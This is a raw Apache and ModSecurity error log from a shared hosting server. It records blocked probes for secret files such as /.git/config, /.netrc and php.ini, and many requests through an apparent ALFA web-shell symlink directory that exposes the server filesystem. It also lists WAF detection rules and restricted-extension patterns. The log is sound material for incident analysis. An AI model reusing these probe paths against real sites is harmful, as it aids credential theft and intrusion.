[Sun Oct 25 04:14:37.328880 2026] [security2:error] [pid 2775712:tid 2775712] [client 34.86.41.33:57118] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/configf"] [unique_id "at26bQLaiqtlZaJBsx4YOAAAAA0"]
[Sun Oct 25 04:14:37.329171 2026] [security2:error] [pid 2775712:tid 2775712] [client 34.86.41.33:57118] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/configf"] [unique_id "at26bQLaiqtlZaJBsx4YOAAAAA0"]
[Sun Oct 25 04:14:37.353163 2026] [security2:error] [pid 2775672:tid 2775672] [client 34.86.41.33:57132] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.gitconfig"] [unique_id "at26bcqduxFlyzJhl1wEmwAAAAA"]
[Sun Oct 25 04:14:37.869379 2026] [security2:error] [pid 2781507:tid 2781507] [client 34.86.41.33:57134] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.netrc"] [unique_id "at26bZ68N771hz7W4KlsuQAAAAw"]
[Sun Oct 25 04:14:37.919753 2026] [security2:error] [pid 2781524:tid 2781524] [client 34.86.41.33:57142] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/configf"] [unique_id "at26bYHtOs-nfC4GshpSIQAAABc"]
[Sun Oct 25 04:14:37.919981 2026] [security2:error] [pid 2781524:tid 2781524] [client 34.86.41.33:57142] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/configf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/configf"] [unique_id "at26bYHtOs-nfC4GshpSIQAAABc"]
[Sun Oct 25 04:14:37.920229 2026] [security2:error] [pid 2781524:tid 2781524] [client 34.86.41.33:57142] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/configf"] [unique_id "at26bYHtOs-nfC4GshpSIQAAABc"]
[Sun Oct 25 04:14:37.920530 2026] [security2:error] [pid 2781524:tid 2781524] [client 34.86.41.33:57142] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/configf"] [unique_id "at26bYHtOs-nfC4GshpSIQAAABc"]
[Sun Oct 25 04:14:38.608757 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 3.224.215.150:33722] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:14:46.812727 2026] [ssl:error] [pid 2795520:tid 2795520] (70014)End of file found: [client 52.54.157.23:34176] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:14:50.708653 2026] [ssl:error] [pid 2795519:tid 2795519] (70014)End of file found: [client 44.207.207.36:5692] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:14:54.606906 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 34.195.60.66:39572] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:15:02.614072 2026] [core:error] [pid 2781507:tid 2781507] (13)Permission denied: [client 54.84.161.62:26291] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:13/subsystem/devices/device:00/physical_node/driver/module/uevent
[Sun Oct 25 04:15:16.088266 2026] [core:error] [pid 2781030:tid 2781030] (13)Permission denied: [client 85.208.96.210:31238] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fs_cache/hwcache_align
[Sun Oct 25 04:15:18.700962 2026] [ssl:error] [pid 2795520:tid 2795520] (70014)End of file found: [client 34.226.89.140:24153] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:15:19.155013 2026] [security2:error] [pid 2781523:tid 2781523] [client 85.208.96.199:61808] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/includes/cloudflare.conf"] [unique_id "at26l9xXWZMI2DaSlsHxqAAAABY"]
[Sun Oct 25 04:15:19.155364 2026] [security2:error] [pid 2781523:tid 2781523] [client 85.208.96.199:61808] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/includes/cloudflare.conf"] [unique_id "at26l9xXWZMI2DaSlsHxqAAAABY"]
[Sun Oct 25 04:15:19.155712 2026] [security2:error] [pid 2781523:tid 2781523] [client 85.208.96.199:61808] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/includes/cloudflare.conf"] [unique_id "at26l9xXWZMI2DaSlsHxqAAAABY"]
[Sun Oct 25 04:15:22.874843 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 44.221.105.234:34706] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:15:27.001353 2026] [core:error] [pid 2775712:tid 2775712] (13)Permission denied: [client 185.191.171.16:10354] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dax_cache/ctor
[Sun Oct 25 04:15:30.623789 2026] [core:error] [pid 2781507:tid 2781507] (13)Permission denied: [client 54.145.82.217:35864] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/firmware_node/physical_node/rescan
[Sun Oct 25 04:15:39.195324 2026] [core:error] [pid 2781524:tid 2781524] (13)Permission denied: [client 3.229.2.217:42927] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/PNP0A03:00/device:0f/eject
[Sun Oct 25 04:15:42.841866 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 3.215.221.125:21690] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:15:54.747115 2026] [ssl:error] [pid 2795519:tid 2795519] (70014)End of file found: [client 52.204.37.237:17602] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:16:06.643330 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 3.93.211.16:8982] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:16:08.090702 2026] [core:error] [pid 2781507:tid 2781507] (13)Permission denied: [client 85.208.96.195:44344] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/cpu_partial
[Sun Oct 25 04:16:14.611419 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 44.205.74.196:20238] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:16:22.447147 2026] [core:error] [pid 2795520:tid 2795520] (13)Permission denied: [client 50.19.221.48:46356] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory20/node0/memory16/subsystem/devices/memory15/node0/cpu0/firmware_node/physical_node/crash_notes_size
[Sun Oct 25 04:16:26.452256 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 3.224.205.25:25780] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:16:30.559499 2026] [ssl:error] [pid 2795519:tid 2795519] (70014)End of file found: [client 54.147.182.90:51828] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:16:46.307851 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 54.235.172.96:15500] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:16:54.676107 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 85.208.96.193:58996] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:16:58.253002 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 34.206.193.60:26231] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:17:11.985323 2026] [core:error] [pid 2795520:tid 2795520] (13)Permission denied: [client 85.208.96.196:47926] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-160/aliases
[Sun Oct 25 04:17:34.192662 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 34.205.163.103:39582] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:17:42.205004 2026] [core:error] [pid 2781523:tid 2781523] (13)Permission denied: [client 18.205.91.101:26117] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/Cavium PTP Driver/new_id
[Sun Oct 25 04:17:46.192409 2026] [ssl:error] [pid 2795519:tid 2795519] (70014)End of file found: [client 18.214.124.6:35522] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:17:50.168568 2026] [security2:error] [pid 2775712:tid 2775712] [client 85.208.96.203:23650] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/phppoll/php81/"] [unique_id "at27LgLaiqtlZaJBsx4YPgAAAA0"]
[Sun Oct 25 04:17:50.168608 2026] [security2:error] [pid 2775712:tid 2775712] [client 85.208.96.203:23650] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/phppoll/php81/"] [unique_id "at27LgLaiqtlZaJBsx4YPgAAAA0"]
[Sun Oct 25 04:17:50.205211 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 34.231.156.59:30745] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:17:54.193881 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 23.23.104.107:29081] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:17:58.289593 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 18.213.27.222:27111] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:18:06.192455 2026] [core:error] [pid 2795519:tid 2795519] (13)Permission denied: [client 50.16.216.166:14588] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/device:12/subsystem/drivers/thermal/uevent
[Sun Oct 25 04:18:10.425311 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 52.200.54.136:14705] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:18:18.607170 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 54.243.63.52:24663] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:18:30.352805 2026] [core:error] [pid 2795520:tid 2795520] (13)Permission denied: [client 18.209.201.119:48134] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/firmware_node/physical_node/remove
[Sun Oct 25 04:18:34.163725 2026] [ssl:error] [pid 2795519:tid 2795519] (70014)End of file found: [client 44.221.227.90:10316] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:18:38.169224 2026] [ssl:error] [pid 2775684:tid 2775684] (5)Input/output error: [client 18.207.89.138:10031] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:18:42.185131 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 18.209.137.234:10777] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:18:50.163455 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 107.20.255.194:33932] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:19:02.298135 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 3.221.50.71:16447] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:19:02.298329 2026] [security2:error] [pid 2775712:tid 2775712] [client 3.221.50.71:16447] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:01.2/subsystem/devices/0000:00:03.0/firmware_node/physical_node/resource"] [unique_id "at27dgLaiqtlZaJBsx4YQQAAAA0"]
[Sun Oct 25 04:19:02.298358 2026] [security2:error] [pid 2775712:tid 2775712] [client 3.221.50.71:16447] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:01.2/subsystem/devices/0000:00:03.0/firmware_node/physical_node/resource"] [unique_id "at27dgLaiqtlZaJBsx4YQQAAAA0"]
[Sun Oct 25 04:19:06.254255 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 34.192.67.98:50961] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:19:22.151938 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 52.1.157.90:49601] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:19:30.177792 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 3.221.244.28:32902] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:19:34.282283 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 3.221.156.96:27494] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:19:45.786111 2026] [core:error] [pid 2781523:tid 2781523] (13)Permission denied: [client 185.191.171.16:32524] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/kvm_intel/sections/__verbose
[Sun Oct 25 04:19:46.225649 2026] [ssl:error] [pid 2795519:tid 2795519] (70014)End of file found: [client 3.211.105.134:32981] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:19:54.185548 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 18.232.11.247:13826] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:20:02.193621 2026] [core:error] [pid 2775684:tid 2775684] (13)Permission denied: [client 34.194.226.74:52133] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/Cavium PTP Driver/uevent
[Sun Oct 25 04:20:10.041081 2026] [authz_core:error] [pid 2795520:tid 2795520] [client 82.23.203.35:54681] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 04:20:10.183776 2026] [core:error] [pid 2795519:tid 2795519] (13)Permission denied: [client 52.70.209.13:29068] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:05/physical_node/remove
[Sun Oct 25 04:20:10.920787 2026] [authz_core:error] [pid 2781523:tid 2781523] [client 46.202.227.247:56843] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 04:20:11.601040 2026] [authz_core:error] [pid 2775684:tid 2775684] [client 206.206.64.75:44709] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 04:20:12.590428 2026] [authz_core:error] [pid 2775672:tid 2775672] [client 198.46.246.163:36975] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 04:20:13.771464 2026] [authz_core:error] [pid 2775712:tid 2775712] [client 179.61.166.60:34105] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 04:20:18.314745 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 34.204.150.196:23776] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:20:22.189031 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 98.84.131.195:62897] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:20:30.211110 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 3.223.181.32:46521] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:20:38.271835 2026] [security2:error] [pid 2762145:tid 2762145] [client 44.221.180.179:64312] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory7/node0/memory23/power/"] [unique_id "at271lTnwNJm6o1fQZIjOgAAAAI"]
[Sun Oct 25 04:20:38.271882 2026] [security2:error] [pid 2762145:tid 2762145] [client 44.221.180.179:64312] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory7/node0/memory23/power/"] [unique_id "at271lTnwNJm6o1fQZIjOgAAAAI"]
[Sun Oct 25 04:20:42.149685 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 54.84.250.51:35898] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:20:49.331367 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 85.208.96.205:58052] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:20:54.168943 2026] [core:error] [pid 2775672:tid 2775672] (13)Permission denied: [client 100.28.57.133:55817] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.2/subsystem/devices/0000:00:04.0/firmware_node/eject
[Sun Oct 25 04:20:58.160159 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 54.166.126.132:41520] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:21:02.313130 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 35.171.117.160:35662] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:21:10.149782 2026] [ssl:error] [pid 2795520:tid 2795520] (70014)End of file found: [client 52.200.58.199:1912] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:21:14.159877 2026] [ssl:error] [pid 2795519:tid 2795519] (70014)End of file found: [client 34.204.150.196:1058] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:21:26.427576 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 85.208.96.200:54548] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:21:30.139838 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 54.225.181.161:60734] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:21:33.855175 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 85.208.96.199:52314] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:21:34.160752 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 44.215.231.15:38167] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:21:38.509885 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 54.84.169.196:3399] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:21:46.168449 2026] [core:error] [pid 2775712:tid 2775712] (13)Permission denied: [client 3.211.105.134:12408] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/ohci-pci/bind
[Sun Oct 25 04:21:50.157600 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 52.70.123.241:15981] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:21:53.841256 2026] [core:error] [pid 2775684:tid 2775684] (13)Permission denied: [client 85.208.96.211:36422] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fasync_cache/reclaim_account
[Sun Oct 25 04:21:58.586338 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 34.234.197.175:38830] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:22:07.674347 2026] [security2:error] [pid 2781507:tid 2781507] [client 43.165.167.69:50998] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/betaok/vendor/composer/"] [unique_id "at28L568N771hz7W4KlsygAAAAw"]
[Sun Oct 25 04:22:08.171636 2026] [core:error] [pid 2781030:tid 2781030] (13)Permission denied: [client 185.191.171.5:26262] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_fclone_cache/cache_dma
[Sun Oct 25 04:22:09.538140 2026] [core:error] [pid 2795520:tid 2795520] (13)Permission denied: [client 16.216.88.236:12288] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/named.ca
[Sun Oct 25 04:22:09.661681 2026] [ssl:error] [pid 2795519:tid 2795519] (70014)End of file found: [client 85.208.96.206:55132] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:22:10.176648 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 34.231.156.59:20543] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:22:22.164720 2026] [ssl:error] [pid 2795520:tid 2795520] (70014)End of file found: [client 3.213.85.234:21577] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:22:26.159857 2026] [core:error] [pid 2781523:tid 2781523] (13)Permission denied: [client 54.235.172.96:47954] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/virtio-pci/bind
[Sun Oct 25 04:22:34.195575 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 34.196.6.199:1914] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:22:38.208955 2026] [ssl:error] [pid 2795520:tid 2795520] (70014)End of file found: [client 3.213.85.234:48757] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:22:42.157867 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 18.232.12.157:2028] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:22:54.264172 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 23.21.175.228:6422] AH02013: coalesce failed to read from data bucket
